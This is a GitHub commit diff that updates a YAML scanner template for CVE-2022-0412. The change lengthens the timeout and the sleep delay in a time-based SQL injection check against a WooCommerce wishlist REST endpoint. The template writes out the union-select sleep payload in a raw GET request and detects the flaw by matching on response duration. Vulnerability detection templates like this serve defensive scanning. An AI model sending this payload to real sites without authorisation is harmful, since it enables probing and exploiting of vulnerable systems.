Update CVE-2022-0412.yaml

patch-1
J4vaovo 2024-02-06 23:37:39 +08:00 committed by GitHub
parent baa1acee95
commit 447203ed6d
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 4 additions and 4 deletions

View File

@ -35,15 +35,15 @@ info:
http:
- raw:
- |
@timeout: 10s
GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1
@timeout: 15s
GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(7)%20--%20g HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'duration>=7'
- type: word
part: body